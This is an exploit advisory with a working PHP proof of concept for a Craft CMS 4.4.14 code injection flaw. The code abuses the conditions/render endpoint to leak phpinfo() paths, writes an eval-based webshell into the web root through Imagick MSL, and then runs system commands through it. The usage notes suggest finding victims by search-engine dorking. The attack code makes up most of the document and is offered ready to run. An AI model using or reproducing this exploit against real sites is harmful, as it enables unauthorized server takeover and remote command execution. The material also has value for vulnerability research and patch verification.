Craft CMS 4.4.14 Code Injection

`=============================================================================================================================================  
| # Title : Craft CMS 4.4.14 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://craftcms.com/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 116 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
<?php  
class CraftCMSExploit {  
private $target_uri;  
private $webshell;  
private $config = ['upload_tmp_dir' => null, 'document_root' => null];  
private $post_param;  
private $get_param;  
  
public function __construct($target_uri, $webshell = '') {  
$this->target_uri = $target_uri;  
$this->webshell = $webshell ? $webshell : $this->generateRandomString(8, 16) . '.php';  
$this->post_param = $this->generateRandomString(1, 8);  
$this->get_param = $this->generateRandomString(1, 8);  
}  
  
public function check_phpinfo() {  
// Sends a crafted request to extract upload_tmp_dir and document_root from phpinfo()  
$data = http_build_query([  
'action' => 'conditions/render',  
'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',  
'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'  
]);  
  
$response = $this->sendPostRequest($this->target_uri, $data);  
if ($response) {  
$this->parsePHPInfo($response);  
}  
}  
  
private function parsePHPInfo($response) {  
// Parses the phpinfo() HTML response to find upload_tmp_dir and document_root  
if (preg_match('/upload_tmp_dir.+<td class="v">(.*)<\/td>/i', $response, $matches)) {  
$this->config['upload_tmp_dir'] = $matches[1] == 'no value' ? '/tmp' : trim($matches[1]);  
}  
if (preg_match('/DOCUMENT_ROOT.+<td class="v">(.*)<\/td>/i', $response, $matches)) {  
$this->config['document_root'] = trim($matches[1]);  
}  
}  
  
public function upload_webshell() {  
// Generates an XML payload to upload the webshell via Imagick MSL  
$payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  
<image>  
<read filename=\"caption:<?php @eval(base64_decode(\$_POST['{$this->post_param}'])); ?>\" />  
<write filename=\"info:{$this->config['document_root']}/{$this->webshell}\" />  
</image>";  
  
$form_data = [  
'action' => 'conditions/render',  
'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',  
'config' => '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}',  
'payload' => $payload  
];  
  
$response = $this->sendMultipartPostRequest($this->target_uri, $form_data);  
return strpos($response, '502') !== false;  
}  
  
public function execute_command($cmd) {  
// Executes a command on the server via the uploaded webshell  
$payload = base64_encode($cmd);  
$data = http_build_query([$this->post_param => $payload]);  
  
return $this->sendPostRequest($this->target_uri . '/' . $this->webshell, $data);  
}  
  
private function sendPostRequest($uri, $data) {  
$options = [  
'http' => [  
'header' => "Content-type: application/x-www-form-urlencoded\r\n",  
'method' => 'POST',  
'content' => $data,  
],  
];  
$context = stream_context_create($options);  
return file_get_contents($uri, false, $context);  
}  
  
private function sendMultipartPostRequest($uri, $data) {  
// Sends a multipart form-data POST request  
$boundary = uniqid();  
$delimiter = '------' . $boundary;  
  
$post_data = $this->buildMultipartData($data, $delimiter);  
  
$options = [  
'http' => [  
'header' => "Content-Type: multipart/form-data; boundary=" . $boundary . "\r\n",  
'method' => 'POST',  
'content' => $post_data,  
],  
];  
  
$context = stream_context_create($options);  
return file_get_contents($uri, false, $context);  
}  
  
private function buildMultipartData($data, $delimiter) {  
$post_data = '';  
foreach ($data as $name => $content) {  
$post_data .= "--$delimiter\r\n";  
$post_data .= "Content-Disposition: form-data; name=\"$name\"\r\n\r\n";  
$post_data .= "$content\r\n";  
}  
$post_data .= "--$delimiter--\r\n";  
return $post_data;  
}  
  
private function generateRandomString($min, $max) {  
$length = rand($min, $max);  
return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);  
}  
}  
  
// Usage  
$exploit = new CraftCMSExploit('http://target-craftcms.com');  
$exploit->check_phpinfo();  
if ($exploit->upload_webshell()) {  
echo $exploit->execute_command('whoami');  
}  
?>  
  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`